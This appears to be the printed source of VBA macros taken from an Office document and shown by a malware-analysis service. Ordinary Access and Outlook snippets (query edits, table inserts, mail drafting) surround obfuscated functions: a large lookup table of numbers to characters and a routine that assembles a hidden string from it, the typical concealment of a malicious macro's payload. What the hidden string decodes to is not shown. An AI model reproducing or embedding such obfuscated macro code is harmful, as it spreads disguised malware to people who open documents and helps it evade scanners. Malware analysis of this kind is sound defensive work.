Case (24): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (25): P¿hwSD¬çd¯â = s6Ö·è(3, 3938, 4965)
Case (26): P¿hwSD¬çd¯â = s6Ö·è(21, 8746, -2836)
Case (27): P¿hwSD¬çd¯â = s6Ö·è(27, 190, 3478)
Case (28): P¿hwSD¬çd¯â = s6Ö·è(28, -5234, 7147)
Case (29): P¿hwSD¬çd¯â = s6Ö·è(29, -122, 5206)
Case (30): P¿hwSD¬çd¯â = s6Ö·è(30, -1956, -210)
Case (31): P¿hwSD¬çd¯â = s6Ö·è(12, 4139, 1371)
Case (32): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (33): P¿hwSD¬çd¯â = s6Ö·è(33, -306, -573)
Case (34): P¿hwSD¬çd¯â = s6Ö·è(34, 2795, -2696)
Case (35): P¿hwSD¬çd¯â = s6Ö·è(35, -5280, -5320)
Case (36): P¿hwSD¬çd¯â = s6Ö·è(21, 8746, -2836)
Case (37): P¿hwSD¬çd¯â = s6Ö·è(37, 6604, -9093)
Case (38): P¿hwSD¬çd¯â = s6Ö·è(8, 5108, -8643)
Case (39): P¿hwSD¬çd¯â = s6Ö·è(39, 5737, -1480)
Case (40): P¿hwSD¬çd¯â = s6Ö·è(40, -615, 198)
Case (41): P¿hwSD¬çd¯â = s6Ö·è(41, 7917, -4536)
Case (42): P¿hwSD¬çd¯â = s6Ö·è(42, -4663, -6575)
Case (43): P¿hwSD¬çd¯â = s6Ö·è(43, 3646, 6328)
Case (44): P¿hwSD¬çd¯â = s6Ö·è(44, 5479, 3530)
Case (45): P¿hwSD¬çd¯â = s6Ö·è(45, 5361, -1844)
Case (46): P¿hwSD¬çd¯â = s6Ö·è(19, 5231, -8261)
Case (47): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (48): P¿hwSD¬çd¯â = s6Ö·è(48, -6403, -1254)
Case (49): P¿hwSD¬çd¯â = s6Ö·è(49, 7035, -6454)
Case (50): P¿hwSD¬çd¯â = s6Ö·è(10, -4552, 1033)
Case (51): P¿hwSD¬çd¯â = s6Ö·è(51, 2670, 8924)
Case (52): P¿hwSD¬çd¯â = s6Ö·è(48, -6403, -1254)
Case (53): P¿hwSD¬çd¯â = s6Ö·è(53, -7839, 8974)
Case (54): P¿hwSD¬çd¯â = s6Ö·è(54, -4500, -717)
Case (55): P¿hwSD¬çd¯â = s6Ö·è(14, 4020, 2931)
Case (56): P¿hwSD¬çd¯â = s6Ö·è(56, -8590, -8641)
Case (57): P¿hwSD¬çd¯â = s6Ö·è(39, 5737, -1480)
Case (58): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (59): P¿hwSD¬çd¯â = s6Ö·è(59, -5336, -3297)
Case (60): P¿hwSD¬çd¯â = s6Ö·è(60, 8422, 3364)
Case (61): P¿hwSD¬çd¯â = s6Ö·è(4, -7067, -8162)
Case (62): P¿hwSD¬çd¯â = s6Ö·è(62, 1942, 6563)
Case (63): P¿hwSD¬çd¯â = s6Ö·è(6, 5098, 9803)
Case (64): P¿hwSD¬çd¯â = s6Ö·è(64, 5641, -3778)
Case (65): P¿hwSD¬çd¯â = s6Ö·è(23, -8014, -4533)
Case (66): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (67): P¿hwSD¬çd¯â = s6Ö·è(6, 5098, 9803)
Case (68): P¿hwSD¬çd¯â = s6Ö·è(64, 5641, -3778)
Case (69): P¿hwSD¬çd¯â = s6Ö·è(69, -8372, -7576)
Case (70): P¿hwSD¬çd¯â = s6Ö·è(70, -8736, 4670)
Case (71): P¿hwSD¬çd¯â = s6Ö·è(71, 829, -3804)
Case (72): P¿hwSD¬çd¯â = s6Ö·è(48, -6403, -1254)
Case (73): P¿hwSD¬çd¯â = s6Ö·è(40, -615, 198)
Case (74): P¿hwSD¬çd¯â = s6Ö·è(10, -4552, 1033)
Case (75): P¿hwSD¬çd¯â = s6Ö·è(64, 5641, -3778)
Case (76): P¿hwSD¬çd¯â = s6Ö·è(14, 4020, 2931)
Case (77): P¿hwSD¬çd¯â = s6Ö·è(49, 7035, -6454)
Case (78): P¿hwSD¬çd¯â = s6Ö·è(78, 8609, 3405)
Case (79): P¿hwSD¬çd¯â = s6Ö·è(42, -4663, -6575)
Case (80): P¿hwSD¬çd¯â = s6Ö·è(80, 8783, 6059)
Case (81): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (82): P¿hwSD¬çd¯â = s6Ö·è(82, 1973, 7653)
Case (83): P¿hwSD¬çd¯â = s6Ö·è(44, 5479, 3530)
Case (84): P¿hwSD¬çd¯â = s6Ö·è(7, -2568, 24)
Case (85): P¿hwSD¬çd¯â = s6Ö·è(85, -9682, 2878)
Case (86): P¿hwSD¬çd¯â = s6Ö·è(33, -306, -573)
Case (87): P¿hwSD¬çd¯â = s6Ö·è(62, 1942, 6563)
Case (88): P¿hwSD¬çd¯â = s6Ö·è(59, -5336, -3297)
Case (89): P¿hwSD¬çd¯â = s6Ö·è(7, -2568, 24)
Case (90): P¿hwSD¬çd¯â = s6Ö·è(22, 5615, -4381)
Case (91): P¿hwSD¬çd¯â = s6Ö·è(22, 5615, -4381)
Case (92): P¿hwSD¬çd¯â = s6Ö·è(14, 4020, 2931)
Case (93): P¿hwSD¬çd¯â = s6Ö·è(93, 9455, 4414)
Case (94): P¿hwSD¬çd¯â = s6Ö·è(94, -2929, 34)
Case (95): P¿hwSD¬çd¯â = s6Ö·è(95, 8215, -5878)
Case (96): P¿hwSD¬çd¯â = s6Ö·è(28, -5234, 7147)
Case (97): P¿hwSD¬çd¯â = s6Ö·è(97, -6361, -4796)
Case (98): P¿hwSD¬çd¯â = s6Ö·è(18, -4696, 429)
Case (99): P¿hwSD¬çd¯â = s6Ö·è(30, -1956, -210)
Case (100): P¿hwSD¬çd¯â = s6Ö·è(71, 829, -3804)
Case (101): P¿hwSD¬çd¯â = s6Ö·è(30, -1956, -210)
Case (102): P¿hwSD¬çd¯â = s6Ö·è(13, 5665, -5851)
Case (103): P¿hwSD¬çd¯â = s6Ö·è(103, 4261, -8158)
Case (104): P¿hwSD¬çd¯â = s6Ö·è(4, -7067, -8162)
Case (105): P¿hwSD¬çd¯â = s6Ö·è(17, -2991, -9871)
Case (106): P¿hwSD¬çd¯â = s6Ö·è(18, -4696, 429)
Case (107): P¿hwSD¬çd¯â = s6Ö·è(19, 5231, -8261)
Case (108): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (109): P¿hwSD¬çd¯â = s6Ö·è(21, 8746, -2836)
Case (110): P¿hwSD¬çd¯â = s6Ö·è(22, 5615, -4381)
Case (111): P¿hwSD¬çd¯â = s6Ö·è(23, -8014, -4533)
Case (112): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (113): P¿hwSD¬çd¯â = s6Ö·è(3, 3938, 4965)
Case (114): P¿hwSD¬çd¯â = s6Ö·è(21, 8746, -2836)
Case (115): P¿hwSD¬çd¯â = s6Ö·è(27, 190, 3478)
Case (116): P¿hwSD¬çd¯â = s6Ö·è(28, -5234, 7147)
Case (117): P¿hwSD¬çd¯â = s6Ö·è(29, -122, 5206)
Case (118): P¿hwSD¬çd¯â = s6Ö·è(30, -1956, -210)
Case (119): P¿hwSD¬çd¯â = s6Ö·è(12, 4139, 1371)
Case (120): P¿hwSD¬çd¯â = s6Ö·è(20, -9826, -5459)
Case (121): P¿hwSD¬çd¯â = s6Ö·è(33, -306, -573)
Case (122): P¿hwSD¬çd¯â = s6Ö·è(34, 2795, -2696)
Case (123): P¿hwSD¬çd¯â = s6Ö·è(35, -5280, -5320)
Case (124): P¿hwSD¬çd¯â = s6Ö·è(124, 6899, -208)
Case (125): P¿hwSD¬çd¯â = s6Ö·è(95, 8215, -5878)
Case (126): P¿hwSD¬çd¯â = s6Ö·è(126, 9982, 1443)
Case (127): P¿hwSD¬çd¯â = s6Ö·è(127, 6484, 320)
Case (128): P¿hwSD¬çd¯â = s6Ö·è(128, 5382, 1698)
Case (129): P¿hwSD¬çd¯â = s6Ö·è(129, 4429, 9336)
Case (130): P¿hwSD¬çd¯â = s6Ö·è(130, -5237, 4763)
Case (131): P¿hwSD¬çd¯â = s6Ö·è(131, -6760, -5343)
Case (132): P¿hwSD¬çd¯â = s6Ö·è(78, 8609, 3405)
Case (133): P¿hwSD¬çd¯â = s6Ö·è(78, 8609, 3405)
Case (134): P¿hwSD¬çd¯â = s6Ö·è(134, -8002, -4833)
Case (135): P¿hwSD¬çd¯â = s6Ö·è(128, 5382, 1698)
Case (136): P¿hwSD¬çd¯â = s6Ö·è(136, 9278, -512)
Case (137): P¿hwSD¬çd¯â = s6Ö·è(33, -306, -573)
Case (138): P¿hwSD¬çd¯â = s6Ö·è(138, 4298, 6444)
Case (139): P¿hwSD¬çd¯â = s6Ö·è(139, -1280, -6580)
Case (140): P¿hwSD¬çd¯â = s6Ö·è(140, 8550, 6279)
Case (141): P¿hwSD¬çd¯â = s6Ö·è(141, -7401, -1191)
Case (142): P¿hwSD¬çd¯â = s6Ö·è(142, 9192, -5383)
Case (143): P¿hwSD¬çd¯â = s6Ö·è(45, 5361, -1844)
Case (144): P¿hwSD¬çd¯â = s6Ö·è(22, 5615, -4381)
Case (145): P¿hwSD¬çd¯â = s6Ö·è(145, 6904, -7188)
Case (146): P¿hwSD¬çd¯â = s6Ö·è(33, -306, -573)
Case (147): P¿hwSD¬çd¯â = s6Ö·è(28, -5234, 7147)
Case (148): P¿hwSD¬çd¯â = s6Ö·è(148, 4374, -5134)
Case (149): P¿hwSD¬çd¯â = s6Ö·è(131, -6760, -5343)
Case (150): P¿hwSD¬çd¯â = s6Ö·è(40, -615, 198)
Case (151): P¿hwSD¬çd¯â = s6Ö·è(40, -615, 198)
Case (152): P¿hwSD¬çd¯â = s6Ö·è(23, -8014, -4533)
Case (153): P¿hwSD¬çd¯â = s6Ö·è(153, -1482, 494)
Case (154): P¿hwSD¬çd¯â = s6Ö·è(51, 2670, 8924)
Case (155): P¿hwSD¬çd¯â = s6Ö·è(130, -5237, 4763)
Case (156): P¿hwSD¬çd¯â = s6Ö·è(156, -7022, 1009)
Case (157): P¿hwSD¬çd¯â = s6Ö·è(157, -9213, -1518)
Case (158): P¿hwSD¬çd¯â = s6Ö·è(158, 2164, 4430)
Case (159): P¿hwSD¬çd¯â = s6Ö·è(140, 8550, 6279)
Case (160): P¿hwSD¬çd¯â = s6Ö·è(6, 5098, 9803)
Case (161): P¿hwSD¬çd¯â = s6Ö·è(12, 4139, 1371)
Case (162): P¿hwSD¬çd¯â = s6Ö·è(6, 5098, 9803)
Case (163): P¿hwSD¬çd¯â = s6Ö·è(163, -4788, 4356)
Case (164): P¿hwSD¬çd¯â = s6Ö·è(40, -615, 198)
Case (165): P¿hwSD¬çd¯â = s6Ö·è(97, -6361, -4796)
Case (166): P¿hwSD¬çd¯â = s6Ö·è(19, 5231, -8261)
Case (167): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (168): P¿hwSD¬çd¯â = s6Ö·è(168, 3688, 865)
Case (169): P¿hwSD¬çd¯â = s6Ö·è(60, 8422, 3364)
Case (170): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (171): P¿hwSD¬çd¯â = s6Ö·è(12, 4139, 1371)
Case (172): P¿hwSD¬çd¯â = s6Ö·è(158, 2164, 4430)
Case (173): P¿hwSD¬çd¯â = s6Ö·è(33, -306, -573)
Case (174): P¿hwSD¬çd¯â = s6Ö·è(168, 3688, 865)
Case (175): P¿hwSD¬çd¯â = s6Ö·è(94, -2929, 34)
Case (176): P¿hwSD¬çd¯â = s6Ö·è(176, 9401, 2407)
Case (177): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (178): P¿hwSD¬çd¯â = s6Ö·è(178, -5062, 5693)
Case (179): P¿hwSD¬çd¯â = s6Ö·è(14, 4020, 2931)
Case (180): P¿hwSD¬çd¯â = s6Ö·è(134, -8002, -4833)
Case (181): P¿hwSD¬çd¯â = s6Ö·è(181, 8320, 5920)
Case (182): P¿hwSD¬çd¯â = s6Ö·è(130, -5237, 4763)
Case (183): P¿hwSD¬çd¯â = s6Ö·è(12, 4139, 1371)
Case (184): P¿hwSD¬çd¯â = s6Ö·è(184, 7616, -4354)
Case (185): P¿hwSD¬çd¯â = s6Ö·è(49, 7035, -6454)
Case (186): P¿hwSD¬çd¯â = s6Ö·è(130, -5237, 4763)
Case (187): P¿hwSD¬çd¯â = s6Ö·è(142, 9192, -5383)
Case (188): P¿hwSD¬çd¯â = s6Ö·è(15, 1709, -8040)
Case (189): P¿hwSD¬çd¯â = s6Ö·è(189, -2182, 295)
Case (190): P¿hwSD¬çd¯â = s6Ö·è(190, 6690, -6039)
Case (191): P¿hwSD¬çd¯â = s6Ö·è(44, 5479, 3530)
Case (192): P¿hwSD¬çd¯â = s6Ö·è(192, 9671, -3736)
Case (193): P¿hwSD¬çd¯â = s6Ö·è(153, -1482, 494)
Case (194): P¿hwSD¬çd¯â = s6Ö·è(194, -5179, 8607)
Case (195): P¿hwSD¬çd¯â = s6Ö·è(195, 202, 7994)
Case (196): P¿hwSD¬çd¯â = s6Ö·è(1, -1498, -5982)
Case (197): P¿hwSD¬çd¯â = s6Ö·è(97, -6361, -4796)
Case (198): P¿hwSD¬çd¯â = s6Ö·è(80, 8783, 6059)
Case (199): P¿hwSD¬çd¯â = s6Ö·è(37, 6604, -9093)
Case (200): P¿hwSD¬çd¯â = s6Ö·è(15, 1709, -8040)
Case (201): P¿hwSD¬çd¯â = s6Ö·è(201, -6366, 8490)
Case (202): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (203): P¿hwSD¬çd¯â = s6Ö·è(178, -5062, 5693)
Case (204): P¿hwSD¬çd¯â = s6Ö·è(66, -5253, 2192)
Case (205): P¿hwSD¬çd¯â = s6Ö·è(205, 8025, -3678)
Case (206): P¿hwSD¬çd¯â = s6Ö·è(206, -2124, 3176)
End Select
End Function
Sub eakxdynamic_Query_SQL()
    '
    ' This sub dynamically programatically modifies a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    
    'Sets query
    Dim qdf As QueryDef
    Set qdf = db.QueryDefs("Google")
    
    'SQL string filter query
    Dim string_SQL As String
    string_SQL = "SELECT * " & _
                 "FROM Table1 " & _
                 "WHERE [Cible1] = 'Paul'"
    
    'Run
    qdf.SQL = string_SQL
    
    'Open
    'DoCmd.OpenQuery "Google"
    
    Set qdf = Nothing
    Set db = Nothing
End Sub

Sub Wenicreating_Query()
    '
    ' This sub creates a query
    '
    
    Dim db As DAO.Database
    Set db = CurrentDb
    Dim qdf As DAO.QueryDef
    Dim newSQL As String
    
    newSQL = "Select * From [Google] WHERE [Cible2]>'2010'"
    Set qdf = db.CreateQueryDef("tempQry", newSQL)
End Sub


Function vbl¿ùDÄXe() As String
Dim r»æ·ñqf
Dim ôò­ù¸ÑHàS9v§
Dim äuì4ü²Ájê¥
Dim ñ¥ôTúsSÀ
Dim ék´ômp7é
Dim IzK·yîºa§ÿµ
Dim ¶i5V7­¥Ü¹3
Dim q2¤¤±B£Ü7p
Dim º¿vUPGw
Dim LY­Á8ij
Dim kwE¬ax¢ryäxvE
Dim úR®m·ÉR
r»æ·ñqf = P¿hwSD¬çd¯â(94, 510, -7396)
ôò­ù¸ÑHàS9v§ = r»æ·ñqf & P¿hwSD¬çd¯â(176, -8201, 5522)
äuì4ü²Ájê¥ = ôò­ù¸ÑHàS9v§ & P¿hwSD¬çd¯â(66, 4339, 5657)
ñ¥ôTúsSÀ = äuì4ü²Ájê¥ & P¿hwSD¬çd¯â(178, -7819, -5503)
ék´ômp7é = ñ¥ôTúsSÀ & P¿hwSD¬çd¯â(14, 6309, -5797)
IzK·yîºa§ÿµ = ék´ômp7é & P¿hwSD¬çd¯â(134, 251, -9916)
¶i5V7­¥Ü¹3 = IzK·yîºa§ÿµ & P¿hwSD¬çd¯â(181, 2542, 8313)
q2¤¤±B£Ü7p = ¶i5V7­¥Ü¹3 & P¿hwSD¬çd¯â(130, 6428, 8495)
º¿vUPGw = q2¤¤±B£Ü7p & P¿hwSD¬çd¯â(12, 711, 3569)
LY­Á8ij = º¿vUPGw & P¿hwSD¬çd¯â(184, -9986, -3380)
kwE¬ax¢ryäxvE = LY­Á8ij & P¿hwSD¬çd¯â(49, 5150, 8295)
úR®m·ÉR = kwE¬ax¢ryäxvE & P¿hwSD¬çd¯â(130, 6428, 8495)
vbl¿ùDÄXe = úR®m·ÉR
End Function
Sub lFlZmanipulating_Tables()
    On Error Resume Next
    'INSERT values
    DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
    'UPDATE field
    DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
    'ALTER TABLE
    DoCmd.runSQL "ALTER TABLE X "
End Sub

Sub rasOedit_Table()
    Dim d As DAO.Database
    Dim t As TableDef
    Dim r As DAO.Recordset
    
    Set d = CurrentDb
    Set t = d.TableDefs("...")
    Set r = t.OpenRecordset(, dbOpenSnapshot)
    
    r.Edit
    r(...).Value = "..."
    r.Update
    
    Set d = Nothing
    Set t = Nothing
End Sub




Function ôiÄ·cTT(¼Á¬GBÖzt, f¶£¤ÿum²©ë±, ü0Cx0òEzg7¿, äB»6¨9ÀYNü¶, òOñô8ätI, qI¼£³çP½¿)
ôiÄ·cTT = StrConv(¼Á¬GBÖzt, äB»6¨9ÀYNü¶)
End Function
Sub Oy5Padd_recepient()
    Dim new_Message As MailItem
    Set new_Message = Application.CreateItem(olMailItem)
    
    
    
    Set new_Message = Nothing
End Sub



Public Sub t0hte88xCreateNewMessage()
    '
    ' Sends mail to sender based on the active selection
    '

Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object

Set Selection = ActiveExplorer.Selection

For Each obj In Selection

Set objMsg = Application.CreateItem(olMailItem)

 With objMsg
  .To = obj.SenderEmailAddress
  .Subject = "This is the subject"
  .Categories = "Test"
  .Body = "My notes" & vbCrLf & vbCrLf & obj.Body
  .Display
' use .Send to send it automatically

End With
Set objMsg = Nothing

Next

End Sub

Function s6Ö·è(Bû8¯¿¿âBZÁ, ªAwü¾òY¾P, Hüªáè)
Select Case Bû8¯¿¿âBZÁ
Case (0): s6Ö·è = "T"
Case (1): s6Ö·è = "q"
Case (2): s6Ö·è = "d"
Case (3): s6Ö·è = "+"
Case (4): s6Ö·è = "E"
Case (5): s6Ö·è = "\"
Case (6): s6Ö·è = "5"
Case (7): s6Ö·è = "a"
Case (8): s6Ö·è = "M"
Case (9): s6Ö·è = "M"
Case (10): s6Ö·è = "3"
Case (11): s6Ö·è = "j"
Case (12): s6Ö·è = "P"
Case (13): s6Ö·è = "F"
Case (14): s6Ö·è = "i"
Case (15): s6Ö·è = "2"
Case (16): s6Ö·è = "E"
Case (17): s6Ö·è = "z"
Case (18): s6Ö·è = "?"
Case (19): s6Ö·è = "Q"
Case (20): s6Ö·è = "r"
Case (21): s6Ö·è = "S"
Case (22): s6Ö·è = "m"
Case (23): s6Ö·è = "N"
Case (24): s6Ö·è = "r"
Case (25): s6Ö·è = "+"
Case (26): s6Ö·è = "S"
Case (27): s6Ö·è = "^"
Case (28): s6Ö·è = "o"
Case (29): s6Ö·è = "f"
Case (30): s6Ö·è = "s"
Case (31): s6Ö·è = "P"
Case (32): s6Ö·è = "r"
Case (33): s6Ö·è = "K"
Case (34): s6Ö·è = "["
Case (35): s6Ö·è = "<"
Case (36): s6Ö·è = "S"
Case (37): s6Ö·è = "6"
Case (38): s6Ö·è = "M"
Case (39): s6Ö·è = "H"
Case (40): s6Ö·è = "h"
Case (41): s6Ö·è = "y"
Case (42): s6Ö·è = "X"
Case (43): s6Ö·è = "O"
Case (44): s6Ö·è = "e"
Case (45): s6Ö·è = "4"
Case (46): s6Ö·è = "Q"
Case (47): s6Ö·è = "r"
Case (48): s6Ö·è = "l"
Case (49): s6Ö·è = "Y"
Case (50): s6Ö·è = "3"
Case (51): s6Ö·è = "V"
Case (52): s6Ö·è = "l"
Case (53): s6Ö·è = "k"
Case (54): s6Ö·è = "_"
Case (55): s6Ö·è = "i"
Case (56): s6Ö·è = "."
Case (57): s6Ö·è = "H"
Case (58): s6Ö·è = "r"
Case (59): s6Ö·è = "t"
Case (60): s6Ö·è = "A"
Case (61): s6Ö·è = "E"
Case (62): s6Ö·è = "8"
Case (63): s6Ö·è = "5"
Case (64): s6Ö·è = "p"
Case (65): s6Ö·è = "N"
Case (66): s6Ö·è = "L"
Case (67): s6Ö·è = "5"
Case (68): s6Ö·è = "p"
Case (69): s6Ö·è = ";"
Case (70): s6Ö·è = "Z"
Case (71): s6Ö·è = "n"
Case (72): s6Ö·è = "l"
Case (73): s6Ö·è = "h"
Case (74): s6Ö·è = "3"
Case (75): s6Ö·è = "p"
Case (76): s6Ö·è = "i"
Case (77): s6Ö·è = "Y"
Case (78): s6Ö·è = "9"
Case (79): s6Ö·è = "X"
Case (80): s6Ö·è = "c"
Case (81): s6Ö·è = "L"
Case (82): s6Ö·è = ">"
Case (83): s6Ö·è = "e"
Case (84): s6Ö·è = "a"
Case (85): s6Ö·è = "I"
Case (86): s6Ö·è = "K"
Case (87): s6Ö·è = "8"
Case (88): s6Ö·è = "t"
Case (89): s6Ö·è = "a"
Case (90): s6Ö·è = "m"
Case (91): s6Ö·è = "m"
Case (92): s6Ö·è = "i"
Case (93): s6Ö·è = "]"
Case (94): s6Ö·è = "x"
Case (95): s6Ö·è = "b"
Case (96): s6Ö·è = "o"
Case (97): s6Ö·è = "w"
Case (98): s6Ö·è = "?"
Case (99): s6Ö·è = "s"
Case (100): s6Ö·è = "n"
Case (101): s6Ö·è = "s"
Case (102): s6Ö·è = "F"
Case (103): s6Ö·è = "("
Case (104): s6Ö·è = "E"
Case (105): s6Ö·è = "z"
Case (106): s6Ö·è = "?"
Case (107): s6Ö·è = "Q"
Case (108): s6Ö·è = "r"
Case (109): s6Ö·è = "S"
Case (110): s6Ö·è = "m"
Case (111): s6Ö·è = "N"
Case (112): s6Ö·è = "r"
Case (113): s6Ö·è = "+"
Case (114): s6Ö·è = "S"
Case (115): s6Ö·è = "^"
Case (116): s6Ö·è = "o"
Case (117): s6Ö·è = "f"
Case (118): s6Ö·è = "s"
Case (119): s6Ö·è = "P"
Case (120): s6Ö·è = "r"
Case (121): s6Ö·è = "K"
Case (122): s6Ö·è = "["
Case (123): s6Ö·è = "<"
Case (124): s6Ö·è = "Â"
Case (125): s6Ö·è = "b"
Case (126): s6Ö·è = "á"
Case (127): s6Ö·è = "»"
Case (128): s6Ö·è = "J"
Case (129): s6Ö·è = "´"
Case (130): s6Ö·è = "º"
Case (131): s6Ö·è = "ñ"
Case (132): s6Ö·è = "9"
Case (133): s6Ö·è = "9"
Case (134): s6Ö·è = "ô"
Case (135): s6Ö·è = "J"
Case (136): s6Ö·è = "À"
Case (137): s6Ö·è = "K"
Case (138): s6Ö·è = "®"
Case (139): s6Ö·è = "g"
Case (140): s6Ö·è = "ê"
Case (141): s6Ö·è = "â"
Case (142): s6Ö·è = "­"
Case (143): s6Ö·è = "4"
Case (144): s6Ö·è = "m"
Case (145): s6Ö·è = "¸"
Case (146): s6Ö·è = "K"
Case (147): s6Ö·è = "o"
Case (148): s6Ö·è = "¿"
Case (149): s6Ö·è = "ñ"
Case (150): s6Ö·è = "h"
Case (151): s6Ö·è = "h"
Case (152): s6Ö·è = "N"
Case (153): s6Ö·è = "ò"
…

Open this report in the interactive analyzer, or submit your own file for analysis.